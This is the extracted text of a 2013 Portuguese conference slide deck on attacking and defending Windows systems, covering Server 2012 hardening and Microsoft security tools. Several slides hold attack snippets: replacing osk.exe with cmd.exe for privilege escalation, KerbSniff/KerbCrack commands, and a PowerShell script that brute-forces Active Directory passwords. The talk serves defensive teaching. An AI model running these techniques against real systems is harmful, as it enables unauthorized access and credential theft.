hacking windows systems -...

32
1 DANIEL DONDA MVP Windows Expert-IT Pro MCP,MCT,MCITP-EA, MCSA+Security, MCSE+Security, MCSE+Messaging EC-CEH V8 | EC-CEI www.mcsesolution.com | www.infosecbrasil.org twitter: @danieldonda http ://mvp.microsoft.com/pt-br/ Hacking Windows Systems Ataques e Defesas Hacking Day 2013 Princípios de segurança e novidades do Windows Server 2012

Upload: others

Post on 27-Mar-2020

3 views

Category:

Documents


0 download

TRANSCRIPT

Page 1: Hacking Windows Systems - blog.corujadeti.com.brblog.corujadeti.com.br/wp-content/uploads/2013/04/Hacking-Windows... · •2001–2005: Windows XP - Consciência de vírus de computador

1

DANIEL DONDA

MVP Windows Expert-IT Pro

MCP,MCT,MCITP-EA, MCSA+Security, MCSE+Security, MCSE+Messaging

EC-CEH V8 | EC-CEIwww.mcsesolution.com | www.infosecbrasil.orgtwitter: @danieldonda

http://mvp.microsoft.com/pt-br/

Hacking Windows SystemsAtaques e Defesas

Hacking Day 2013

Princípios de segurança e

novidades do Windows Server 2012

Page 2: Hacking Windows Systems - blog.corujadeti.com.brblog.corujadeti.com.br/wp-content/uploads/2013/04/Hacking-Windows... · •2001–2005: Windows XP - Consciência de vírus de computador

Agenda

• Apresentação

• Segurança e Microsoft – Uma analise através do tempo

• Porque é fácil atacar o Windows ?

• O Windows sem Windows (Reduzindo a superfície de ataque)

• Hardening Windows Server 2012

• Kerbsniff, KerbCrack e o Kerberos Armoring

• 10 importantes recursos e dicas MSFT

2

Page 3: Hacking Windows Systems - blog.corujadeti.com.brblog.corujadeti.com.br/wp-content/uploads/2013/04/Hacking-Windows... · •2001–2005: Windows XP - Consciência de vírus de computador

Metas para a sessão de hoje

3

Princípios de segurança e novidades

Page 4: Hacking Windows Systems - blog.corujadeti.com.brblog.corujadeti.com.br/wp-content/uploads/2013/04/Hacking-Windows... · •2001–2005: Windows XP - Consciência de vírus de computador

Segurança e Microsoft – Uma

analise através do tempo

Page 5: Hacking Windows Systems - blog.corujadeti.com.brblog.corujadeti.com.br/wp-content/uploads/2013/04/Hacking-Windows... · •2001–2005: Windows XP - Consciência de vírus de computador

• 1975–1981: Microsoft inicia.

• 1981 – MS-DOS

• 1982–1985: Windows 1.0

• 1987–1992: Windows 2.0–2.11

• 1990–1994: Windows 3.0–Windows NT

• 1995–2001: Windows 95

• 1998–2000: Windows 98, Windows 2000, Windows Me - Internet

• 2001–2005: Windows XP - Consciência de vírus de computador e hackers

• 2006–2008: Windows Vista – 1,5 milhões de dispositivos são compatíveis

• 2009: Windows 7 - 8 Milhões de beta-testers no mundo

• 2012: Windows 8 – Recursos avançados de segurança

5

Windows History

Page 6: Hacking Windows Systems - blog.corujadeti.com.brblog.corujadeti.com.br/wp-content/uploads/2013/04/Hacking-Windows... · •2001–2005: Windows XP - Consciência de vírus de computador

Porque é fácil atacar o

Windows ?

6

Page 7: Hacking Windows Systems - blog.corujadeti.com.brblog.corujadeti.com.br/wp-content/uploads/2013/04/Hacking-Windows... · •2001–2005: Windows XP - Consciência de vírus de computador

Atacando o Windows

7

1 – Usuário / Admin (60.000.000)

2 – Softwares desnecessários

3 – Configuração Incorreta

4 – Softwares desatualizados

5 – OS desatualizado

5 – Falta de conhecimento

Page 8: Hacking Windows Systems - blog.corujadeti.com.brblog.corujadeti.com.br/wp-content/uploads/2013/04/Hacking-Windows... · •2001–2005: Windows XP - Consciência de vírus de computador

8

CD\Windows\System32\

COPY OSK.EXE OSK.OLD2

takeown /F osk.exe

cacls osk.exe /G Administrator:F /E

COPY CMD.EXE OSK.EXE

1 - Elevação de privilégio

Page 9: Hacking Windows Systems - blog.corujadeti.com.brblog.corujadeti.com.br/wp-content/uploads/2013/04/Hacking-Windows... · •2001–2005: Windows XP - Consciência de vírus de computador

http://ntsecurity.nu/toolbox/kerbcrack/

Kerbsniff kerbs.txt

KerbCrack kerbs.txt –d kgodoi

RFC 6113 - Flexible Authentication Secure Tunnel (FAST)

2 - Kerberos Atack vs Kerberos Armoring

Page 10: Hacking Windows Systems - blog.corujadeti.com.brblog.corujadeti.com.br/wp-content/uploads/2013/04/Hacking-Windows... · •2001–2005: Windows XP - Consciência de vírus de computador

10

01001010110111011101010111011101011011

net use x: \\servidor\dados

x:

type senhas.txt

Servidor

3- Proteção de acesso a dados – SMB 3.0

SMB 3 utiliza um novo algoritmo para assinatura - AES-CMAC em vez do HMAC-SHA256

usado por SMB 2.

Page 11: Hacking Windows Systems - blog.corujadeti.com.brblog.corujadeti.com.br/wp-content/uploads/2013/04/Hacking-Windows... · •2001–2005: Windows XP - Consciência de vírus de computador

• Dynamic Access Control

11

• Controlar quem pode acessar informação e auditar quem teve

acesso a informação.

• Classificar arquivos para toda a corporação.

Auditar o acesso a arquivos usando as diretivas de auditoria centrais para

• geração de relatórios de conformidade e análise forense.

• Aplicar proteção Rights Management Services (RMS)

Proteção de acesso a dados - DAC

Page 12: Hacking Windows Systems - blog.corujadeti.com.brblog.corujadeti.com.br/wp-content/uploads/2013/04/Hacking-Windows... · •2001–2005: Windows XP - Consciência de vírus de computador

Reduzindo a superfície de

ataque

O Windows sem Windows

12

Page 13: Hacking Windows Systems - blog.corujadeti.com.brblog.corujadeti.com.br/wp-content/uploads/2013/04/Hacking-Windows... · •2001–2005: Windows XP - Consciência de vírus de computador

Windows Server Core

13

Menos uso de recursos

Menos serviços e recursos

Menos reboot

Redução de Updates em até 70%

Menos superfície de ataque

Page 14: Hacking Windows Systems - blog.corujadeti.com.brblog.corujadeti.com.br/wp-content/uploads/2013/04/Hacking-Windows... · •2001–2005: Windows XP - Consciência de vírus de computador

Recursos do Server Core

14

Active Directory Certificate Services

Active Directory Domain Services

DHCP Server

DNS Server

File Services (including File Server Resource Manager)

Active Directory Lightweight Directory Services (AD LDS)

Hyper-V

Print and Document Services

Streaming Media Services

Web Server (including a subset of ASP.NET)

Windows Server Update Server

Active Directory Rights Management Server

Routing and Remote Access Server

Page 15: Hacking Windows Systems - blog.corujadeti.com.brblog.corujadeti.com.br/wp-content/uploads/2013/04/Hacking-Windows... · •2001–2005: Windows XP - Consciência de vírus de computador

Opções do Server CoreOpção de instalação do Server Core Interface Mínima do Servidor Opção de instalação Servidor com GUI Recurso Experiência Desktop instalado

Prompt de comando disponível disponível disponível disponível

Windows PowerShell / Windows

.NET

disponíveis disponíveis disponíveis disponíveis

Gerenciador do Servidor não disponível disponível disponível disponível

Console de Gerenciamento

Microsoft

não disponível disponível disponível disponível

Painel de Controle não disponível não disponível disponível disponível

Miniaplicativos do Painel de

Controle

não disponíveis alguns disponíveis disponíveis disponíveis

Windows Explorer não disponível não disponível disponível disponível

Barra de tarefas não disponível não disponível disponível disponível

Área de notificação não disponível não disponível disponível disponível

Internet Explorer não disponível não disponível disponível disponível

Sistema de ajuda integrado não disponível não disponível disponível disponível

Temas não disponíveis não disponíveis não disponíveis disponíveis

tela Iniciar estilo Metro não disponível não disponível não disponível disponível

Aplicativos estilo Metro não disponíveis não disponíveis não disponíveis disponíveis

Windows Media Player não disponível não disponível não disponível disponível15

Serv

er-

Gu

i-M

gm

t-In

fra

Serv

er-

Gu

i-M

gm

t-In

fra, Serv

er-

Gu

i-Sh

ell

Serv

er-

Gu

i-M

gm

t-In

fra, Serv

er-

Gu

i-Sh

ell, D

esk

top

-Exp

eri

en

ce

Page 16: Hacking Windows Systems - blog.corujadeti.com.brblog.corujadeti.com.br/wp-content/uploads/2013/04/Hacking-Windows... · •2001–2005: Windows XP - Consciência de vírus de computador

O que é o Microsoft Hyper-V Server?

16

Microsoft hypervisor

• Command Line Interface

• Não possui licença de SO

• Standalone Hyper-V

• Download gratuito do ISO

• Gerenciamento Remoto

Page 17: Hacking Windows Systems - blog.corujadeti.com.brblog.corujadeti.com.br/wp-content/uploads/2013/04/Hacking-Windows... · •2001–2005: Windows XP - Consciência de vírus de computador

Hardening Windows Server

2012

17

Page 18: Hacking Windows Systems - blog.corujadeti.com.brblog.corujadeti.com.br/wp-content/uploads/2013/04/Hacking-Windows... · •2001–2005: Windows XP - Consciência de vírus de computador

Features on Demand

• PowerShell

• DISM

18

Page 19: Hacking Windows Systems - blog.corujadeti.com.brblog.corujadeti.com.br/wp-content/uploads/2013/04/Hacking-Windows... · •2001–2005: Windows XP - Consciência de vírus de computador

Security Configuration Wizard

19

Page 20: Hacking Windows Systems - blog.corujadeti.com.brblog.corujadeti.com.br/wp-content/uploads/2013/04/Hacking-Windows... · •2001–2005: Windows XP - Consciência de vírus de computador

Password Settings Object

20

Page 21: Hacking Windows Systems - blog.corujadeti.com.brblog.corujadeti.com.br/wp-content/uploads/2013/04/Hacking-Windows... · •2001–2005: Windows XP - Consciência de vírus de computador

10 importantes recursos e dicas

da MSFT

21

Page 22: Hacking Windows Systems - blog.corujadeti.com.brblog.corujadeti.com.br/wp-content/uploads/2013/04/Hacking-Windows... · •2001–2005: Windows XP - Consciência de vírus de computador

1-Microsoft Security Intelligence Report

O Microsoft Security Intelligence Report (SIR) é um relatório

trimestral sobre vulnerabilidades de software, exploração de

vulnerabilidades de software e softwares maliciosos e

potencialmente indesejados.

22

www.microsoft.com/sir

Page 23: Hacking Windows Systems - blog.corujadeti.com.brblog.corujadeti.com.br/wp-content/uploads/2013/04/Hacking-Windows... · •2001–2005: Windows XP - Consciência de vírus de computador

2 - Microsoft Security Response Center

• O Microsoft Security Response Center (MSRC) identifica,

monitora, resolve, e responde a incidentes de segurança e

vulnerabilidades de segurança de software Microsoft.

• Estamos em 24 horas de alerta de segurança todos os dias,

grupos de notícias de segurança, monitorar e responder a

mais de 100.000 e-mails de clientes anualmente enviados

para [email protected].

http://www.microsoft.com/security/msrc/default.aspx23

Page 24: Hacking Windows Systems - blog.corujadeti.com.brblog.corujadeti.com.br/wp-content/uploads/2013/04/Hacking-Windows... · •2001–2005: Windows XP - Consciência de vírus de computador

3 - Microsoft Security Compliance Manager

• O SCM é uma ferramenta gratuita da Microsoft que permite

configurar rapidamente e gerenciar os computadores em seu

ambiente com Diretiva de Grupo e Microsoft System Center

Configuration Manager.

• SCM fornece prontos para implantar políticas e pacotes de

configuração baseadas em recomendações da guia de segurança e

melhores práticas da indústria, permitindo que você gerencie

facilmente configurações e requisitos de conformidade para os

sistemas operacionais Windows.

24

http://technet.microsoft.com/en-us/library/cc677002.aspx

Page 25: Hacking Windows Systems - blog.corujadeti.com.brblog.corujadeti.com.br/wp-content/uploads/2013/04/Hacking-Windows... · •2001–2005: Windows XP - Consciência de vírus de computador

4 – Proteção com criptografia

• BitLocker e Bitlocker to go

• BitLocker utiliza o Advanced Encryption Standard, com 128-bit e 256-bit

comprimentos de chave.

• EFS (Encrypting File System)

• Criptografia de arquivos usando algoritmos RSA

ou ECC

25

Page 26: Hacking Windows Systems - blog.corujadeti.com.brblog.corujadeti.com.br/wp-content/uploads/2013/04/Hacking-Windows... · •2001–2005: Windows XP - Consciência de vírus de computador

5 - Freeware Microsoft Tools

• AccessChk- Essa ferramenta mostra a você os acessos de usuário ou de grupo a arquivos, a chaves do Registro ou serviços

AccessEnum - Essa ferramenta de segurança simples, mostra a você quem tem que tipo de acesso a diretórios.

• Sigcheck - informações sobre a versão do arquivo e verifique se as imagens em seu sistema estão assinadas digitalmente.

• ShareEnum - Verifique compartilhamentos de arquivos e exiba suas configurações de segurança

• SDelete - Substitua com segurança seus arquivos confidenciais e libere espaço livre de arquivos excluídos.

• Account Lockout and Management Tools – Uso muito, principalmente o acctinfo.dll para exibir outros atributos no AD.

• PortQry Command Line Port Scanner Analise de estado das portas TCP e UDP

• Port Reporter – Quais portas que são usadas, qual o processo está usando a porta, se o processo é um serviço

• Port Reporter Parser Tool - Analisador de log para arquivos de log Port Reporter.

• Promqry and PromqryUI Detecta Sniffers Promiscuos

• PromqryUI Interface grafica para promqey.

• Promqry linha de comando para detecção de sniffers no modo promiscuous.

• Windows SteadyState – Não importa o que aconteça – Vírus, Malware – você pode voltar o seu Windows ao normal

26

http://www.mcsesolution.com/Mcsesolution/lista-de-softwares-freeware-

microsoft-tools.html

Page 27: Hacking Windows Systems - blog.corujadeti.com.brblog.corujadeti.com.br/wp-content/uploads/2013/04/Hacking-Windows... · •2001–2005: Windows XP - Consciência de vírus de computador

6 - Windows 8 contra Malware

Windows 8 inclui as seguintes tecnologias novas e avançadas

que proporcionam melhor defesa contra malware:

• Action Center

• Secure Boot

• User Account Control (UAC)

• Biometric Security

• Windows Defender

• Malicious Software Removal Tool

• Windows Firewall

27

Page 28: Hacking Windows Systems - blog.corujadeti.com.brblog.corujadeti.com.br/wp-content/uploads/2013/04/Hacking-Windows... · •2001–2005: Windows XP - Consciência de vírus de computador

7 - O Windows To Go

• O Windows To Go é uma imagem de boot do Windows 8 em

um drive USB que um usuário pode iniciar em outro

computador. Windows to go fornece aos usuários uma cópia

portátil de um computador Windows corporativo para

fornecer uma experiência de usuário consistente em certos

tipos de hotdesk ou remotos cenários de trabalho.

28

Page 29: Hacking Windows Systems - blog.corujadeti.com.brblog.corujadeti.com.br/wp-content/uploads/2013/04/Hacking-Windows... · •2001–2005: Windows XP - Consciência de vírus de computador

8 - PowerShell

• ~2,430 cmdlets

dsquery user -limit 0 > users

foreach ($FDN in Get-Content .\users

{

$results =dsget user $FDN -samid

$samid = $results[1].replace (" ","")

Write-host $samid

foreach ($password in Get-Content .\password.txt

{

$password = $password.replace(" "."")

dsget user $FDN -u $samid -p $password > $null

if ($?) {

Write-host "Conta: $samid Senha: $password"

}

}

}

29

http://bit.ly/WinPS-Ebook

Page 30: Hacking Windows Systems - blog.corujadeti.com.brblog.corujadeti.com.br/wp-content/uploads/2013/04/Hacking-Windows... · •2001–2005: Windows XP - Consciência de vírus de computador

9 - Newsletter de Segurança

• Dicas de segurança

• Notícias da comunidade e outras informações de segurança relevantes

• Biografias dos MVPs (Profissionais Mais Valiosos) de segurança

• Guias, recursos e práticas recomendadas de segurança

• Blogs, fóruns, grupos de notícias e sites de segurança

• Informações sobre o ciclo de vida dos produtos da Microsoft

• Boletins e atualizações de segurança

• Editoriais de executivos e especialistas em segurança da Microsoft

• Webcasts e chats

• Eventos sobre segurança online e presenciais

• Laboratórios práticos de segurança da Microsoft

30

http://technet.microsoft.com/pt-br/security/

Page 31: Hacking Windows Systems - blog.corujadeti.com.brblog.corujadeti.com.br/wp-content/uploads/2013/04/Hacking-Windows... · •2001–2005: Windows XP - Consciência de vírus de computador

10 - Microsoft Security on Twitter

· @Safer_Online, http://twitter.com/Safer_Online

· @MSFTSecResponse, http://twitter.com/msftsecresponse

· @MSFTSecurity, http://twitter.com!/msftsecurity

· @MSFTmmpc, http://twitter.com/msftmmpc

· @MicrosoftDCU, http://twitter.com!/MicrosoftDCU

• Microsoft Security on Facebook

• · MMPC - http://www.facebook.com/#!/msftmmpc

31

Page 32: Hacking Windows Systems - blog.corujadeti.com.brblog.corujadeti.com.br/wp-content/uploads/2013/04/Hacking-Windows... · •2001–2005: Windows XP - Consciência de vírus de computador

Thank you for your time and attention!

http://facebook.com/mcsesolution

@danieldonda

32

Thank You!